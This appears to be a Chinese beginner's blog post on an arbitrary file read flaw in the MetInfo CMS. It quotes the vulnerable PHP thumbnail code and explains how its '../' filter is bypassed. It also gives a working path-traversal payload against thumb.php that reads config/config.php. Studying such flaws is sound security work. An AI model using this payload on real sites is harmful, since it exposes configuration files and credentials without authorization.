写在前面,小菜算才入安全坑,记录一下,大佬轻一点,也希望大佬能多多指点。
这次是拿到一个站的源码,然后框架就是Metinfo,网上大佬的文章记录了很多,这次学到不少,想着自己也来记录一下。
任意文件读取
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(strstr(str_replace($_M['url']['site'], '', $dir), 'http')){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
代码不算复杂,重要的就是用 str_replace 将. ./和. /用’ '置空了,还有 readfile($dir); 适当构造payload就可以读取文件,再看看还有一个 strstr 在外面,这个函数就是搜索字符串在另一字符串中的第一次出现,在这里就是看http这个字符,所以我们的payload就要包括http,然后用. ./跳转目录,但是被置空了,我们简单换一下就行了。
...thumb.php?dir=http/.....///.....///config/config.php
. . . . . / / / 先被置空. . / 就变成 . . . / / 然后置空 . / 就成了 . / 就okk了。
这边我是用的是burp,主要是直接搭出来,然后在页面上弄我不知道是个啥。
写在最后,学了些东西,发现安全是一条很漫长的路,但是还是蛮有意思,写这个主要是记录一下小菜的学习,然后以此来勉励自己把,争取之后每周都记录一些吧,相信坚持,还是有收获的。
希望大佬能多多指点,然后要是能带一哈就更棒了,嘿嘿嘿。
这个scdn第一次用,所以有点丑,哈哈哈。
代码里面ob_flush函数: https://www.php.cn/php-weizijiaocheng-370334.html